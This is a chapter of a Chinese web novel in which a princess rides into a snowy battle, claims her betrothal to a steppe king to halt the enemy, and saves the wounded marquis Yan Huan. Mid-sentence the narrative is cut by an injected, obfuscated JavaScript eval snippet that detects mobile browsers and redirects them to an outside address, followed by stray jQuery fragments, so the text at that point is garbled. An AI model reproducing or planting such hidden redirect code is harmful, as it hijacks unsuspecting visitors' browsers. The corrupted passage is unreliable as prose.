默认冷灰
24号文字
方正启体

42. 「千军问风」

作者:桥觅本书字数:K更新时间:
    漠州的隆冬如一把淬了毒的寒刀,劈开来,骤然变了色彩,剐得天地间只剩下刺目的白与黑。


    草原而来的怀朔铁骑在雪原上铺陈开来,狼头旗帜被北风呼啸着,扯得笔直。


    策勒格日纵马上前,手中紧握不放的长剑冒着雪光,刀柄之下缀着的狼牙吊坠于风中不断碰撞着剑刃,旋转着,敌得过千万声号令。


    放眼望去,便是在策勒格日的对面,远远地,中原玄甲兵如黑色的潮水奔涌而来,恍惚间,形同帝王书案之上,少年君主习字顿笔后,那泼洒而下的一池墨汁。


    黑狼蔓延过山脊,阎泱一身由玄铁打造的盔甲由内而外冒着绵长的白气,他缓缓抬手,手中丈八的马槊尖头亮着寒气,稳稳地指向敌军。


    ‘呜——’


    怀朔牛角号吹起之声响彻云霄,顷刻间,搭弓拉箭之声几乎同时响起,随即抬头望去,箭雨齐发,以不可逆转之势遮天蔽日。


    刹那间,两军交融,盔甲碰撞之声、坠马声、嘶吼声、哀嚎声,杂融混乱不堪。


    阎涣的身姿在乱军中格外醒目。


    崔姣姣自远处驿站阁楼之上眺望,一片漆黑天幕之下,是交打在一处,染红雪原的浪潮。她算是第一次真正见识到战场,第一次亲眼俯视战争,心中除却无法抹除的惧怕之外,只剩担忧。


    惊惧战乱之后果、恼恨昏君之疑心、更忧心他的安危。


    只见那久经沙场的千岁侯弃了繁重的头盔,乌发高束自身后飞扬着,早已沾染了飞溅的血点,他挥舞长枪,自是杀出一片路来。


    三名泗京骑兵同时策马疾驰而来,却见阎涣的枪尖倏忽轮转,竟一个用力,将横刺而来的三把长剑齐齐挑飞。战马扬蹄嘶鸣着,带他深入敌军腹地,长枪精准横扫时,一排血珠随着他的动作飞泻而下,自他的行迹铺出一条血路。


    那一日,他也如此刻般,为自己杀出活路吗。


    崔姣姣不住地想,浑然不觉早已因担忧而泪满眼眶。


    “帝师的身法还是儿时同先节度使所学,这么多年了,一招一式竟不曾变。看着此景,臣竟险些以为是时光倒转,又回到了先节度使为国出使、征战沙场的时候了。”


    赵庸之在她身后看着,缓缓道出这么一句。崔姣姣品出不对,忍不住侧过脸问:


    “赵先生如何知晓节度使杀敌招式?”


    他愕然,平素最是巧言善辩的一张嘴,此刻竟说不出一句。


    半晌,只道:


    “微臣跟随帝师多年,节度使之事迹,早已知晓得十之八九。更何况,子女肖父母是寻常,微臣看着帝师,不难猜想出先节度使之英姿。”


    杀敌在即,崔姣姣也并未过多追问他话中的疏漏,只是应付了一句,便又转回了身子,纵使看不真切,却依旧跟着那翻滚的兵马巨浪揪心。


    百步之外,策勒格日的狼牙长剑正劈开一名玄甲兵的咽喉。


    热血抑制不住地喷涌而出,顷刻染红他的脸。


    那人高举的寒刃自空中掉落,险些砸中策勒格日的坐骑,电光火石间,阎涣自身侧策马奔出,猛地一挥,便将那兵刃甩落在地。


    可那将死之人却并不死心,只裂开嘴,鲜血顺着嘴角滚落,他露出瘆人的一笑,道:


    “阎贼,这援兵是用你女人的婚约换的,堂堂千岁侯,竟也要靠卖女人活命,哈哈哈哈!”


    话音未落,他便被一箭穿喉,骤然坠马而亡,双眼都不曾合上。


    二人齐齐回头,只见阎泱仍举着弓箭,双眸间杀气之火壮可燎原,似是以血祭天,也绝不肯叫旁人污蔑他的堂兄和公主。


    崔瓷是为救堂兄的命才不得不如此,无名小卒,怎有资格置喙。


    刀戈相杀之声四面不觉,雪原陷入一片震颤。


    一波刚平,一波又起,阎涣翻身下马,高举长剑,于玄甲敌军之中砍出一片血路。


    厮杀多时,阎涣的盔甲早已被鲜血染透。


    此刻,他单膝跪在尸山之上,手中长剑“咣当”一声,劈开迎面射来的箭矢,一双茶褐色的眸子在烽火狼烟中幽暗如鬼火。四周,黑压压的敌军如潮水般阵阵袭来,如何都砍不断,挡不住,剑戟相撞之声回荡在苍茫雪原之上。


    “千岁!”


    阎泱的声音从十丈外传来,却一次次被箭雨截断。


    这位速来沉默稳重的将军,此刻目眦欲裂,死死地盯着堂兄的方向。


    一直穿杨箭飞刺而来,趁其不备,贯穿了他的左肩。鲜血顺着坚硬的盔甲向下流淌着,在雪地之上凝成一块暗红的洼。


    “军师——”


    他回身,朝着赵庸之所站之处大声嘶吼着,陈旧的房梁仿佛要因此而震落坍塌。


    “再不出计,我等今日便要葬身于此了!”


    赵庸之的羽扇在北风中乱颤,他盯着不远处打得交融在一处的两片大军,犹如川流激荡着相对而撞,骑兵高举着的两方战旗凌乱地飘摇,誓要不死不休。


    他双眼微眯,将目光掠过兵马,一直看向远处的一片灰暗夜色下。


    “火攻。”


    他吐出二字,而后用力握紧了羽扇,接着道:


    “趁东南风起,烧他们的粮草!”


    他一语出,不等高声传达至草原铁骑的耳中,一道声音立时制止了他的话:


    “来不及了。”


    清冷之音斩断了他的军议。


    崔姣姣抬手解开了身上披着的大氅,露出内里艳红的裙裾。她并未过多解释,只是匆匆下了吱呀作响的木楼梯,有写生疏地翻身上马。纤瘦的身体在风中衣袂翩翩,似乎随时都会被吹落,可她眸中的坚毅却利落得像刚刚出鞘的剑。


    “公主,不可啊!”


    赵庸之开口要拦,却只得到她回眸一笑。


    崔姣姣对着楼上那人喊着:


    “先生莫怕!”


    “崔瓷说过,此行不惧艰险,只为救帝师于死局。如今战况胶着,我也绝不会偷生,势必要让他们活着离开漠州,班师泗京!”


    在烈马的长嘶声中,崔姣姣的身影奋力一挥,朝着那黑浪堆里冲去。


    她不大会骑马,却无法让自己躲在平安处,眼睁睁看着他们被困敌军包围之中,阎涣的命,此刻便系在她飞扬的裙裾上了。


    冰天雪地里,她成了飞扬的一道红线,毫不犹豫地冲向阎涣的身边,做他手中飒飒而起的旗帜。


    赵庸之漠然,看着她的背影出了神。


    那风采与决然,分明刻着阎涣的影子。


    看来,两心相知,确可使胆怯者勇敢。


    一杆长枪被举起,朝着阎涣背后心口处而去,他转身欲躲,身后却传来一声怒吼:


    “住手!”


    “贺朝长公主在此!”


    清喝声穿透喊杀声的瞬间,最前排的黑甲军齐刷刷顿住。


    崔姣姣勒马,稳稳立在两军之间的尸堆上,长眉入鬓,却不见半分媚态,唯有一双明眸之下的坚韧。


    一名百夫长突然跪倒在地。


    连锁反应般,数百柄长矛“叮叮当当”砸在地上。


    崔姣姣趁机策马向前冲去,素色的衣摆拂过那些低垂的头颅,直抵阎涣所在的尸山之下。,终于,再次站在了他的身边。


    “愣着做什么?”


    敌阵中,突然爆出一句怒吼。


    一名满脸刀疤的将领大力一脚,踢翻了其中一个跪地的士兵,愤怒道:


    “不过是个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847220|172205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冷宫长大的庶女,你们也怕了她?”


    “杀了她,正好给阎王陪葬!”


    钢刀出鞘的寒光如涟漪般无可阻止地扩散。


    崔姣姣看着刚还因惧怕而刚跪倒的敌军,竟在眨眼间重新举起兵刃,一阵不好在心中“腾”地生起。电光火石间,她闹钟闪过一万种说辞,连忙在刀枪近身前的最后一刻大喊:


    “本公主是庶出不错。”


    “可如今,我已与怀朔部左贤王定下婚约,尔等今日若敢动手,伤的不是贺朝一个无权的公主,而是怀朔部未来的阏氏!”


    “你们觉得,你们上头的那位敢与草原几十万铁骑为敌吗?"


    一支玄铁箭突然钉在崔姣姣所乘的马前。


    “本王的未婚妻,何时轮到你们这些无名小卒威胁?”


    策勒格日的声音像砂砾磨过的刀刃。


    战场西侧突然烟尘大作,策勒格日琥珀色的瞳孔锁定住那名刀疤将领,目色深寒,凝眸道:


    “你刚才说,要砍谁的头?”


    被点名的将领瞬间面如土色。


    崔姣姣趁机纵马跃上尸山,她染血的绣鞋踩过折断的箭矢,在阎涣惊愕的目光中,一把攥住他的腕甲,奋力喊道:


    “千岁侯今日死在这儿,本宫发誓,怀朔铁蹄会即刻发动大军,将漠州杀个片甲不留,直捣泗京!”


    黑甲军中有人不信,扯着嗓子质问她:


    “公主可忘记了自己姓名?你姓崔,你可是贺朝人,怎能倒戈亲弟,助纣为虐!别忘了,泗京也是你的家!”


    崔姣姣嗤笑一声,薄唇勾出一个几近不屑的弧度,向他道:


    “我的家?”


    她不再牵动那已有些沙哑的嗓音,只放低了声音,用只有他们能听见的音量,对着身旁之人轻声道:


    “我的家,在这儿。”


    阎涣的喉结动了动。


    “你...”


    不等他说出一番阳春白雪来,崔姣姣迅速甩开他的手腕,转身面对敌军,而后,她突然抽出那把青白玉匕首。


    刹那间,刃光划破天际。


    “嗤!”


    刀疤将领的喉间顷刻绽开血花。


    崔姣姣一张惊世的容颜之上,溅过一道惊心的血痕。


    这是她第二次杀人,第一次,也是这把匕首,深深刺进了想偷袭阎涣的虞国人心口。


    两次拔刀,为的却是同一人。


    她将滴血的匕首高举过头顶,声音响彻战场:


    “还有谁要试试本公主的刀法?”


    话音刚落,策勒格日立即拉弓搭箭,卯足了力气一声大喝:


    “杀——!”


    一字落,万万草原将士搏命而来,一时间,打斗声四起,大地重回震颤。


    “姣姣当心,躲在我身后!”


    阎涣大喊一声,单手护着她,另一只手则劈开一件件盔甲,他始终死守在崔姣姣的身侧,为她砍出一片生的大地。


    当最后一名黑甲军溃逃时,阎涣终于支撑不住倒下。


    崔姣姣接住他的瞬间,摸到那后心处一寸长的箭伤,再多一寸,便有生命之危了。热血浸透她的衣襟,在裙摆绽开一朵硕大殷红的芍药。


    “姣姣,不要怕。”


    他挤出一个笑意来安慰她。


    “我没事的。”


    崔姣姣原是强忍着委屈,却在他一汪柔情的眼神里被击破了心防。源源不断的泪珠仿若断线的雨,滴落在阎涣带血的盔甲之上,为他洗净半生都未结痂的伤口。


    远处,策勒格日收起长弓,望着相拥的两人,黯然神伤。


    他抬手,接住空中飘落的一片雪花,那是从崔姣姣嫁衣上剥落的凤凰羽。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)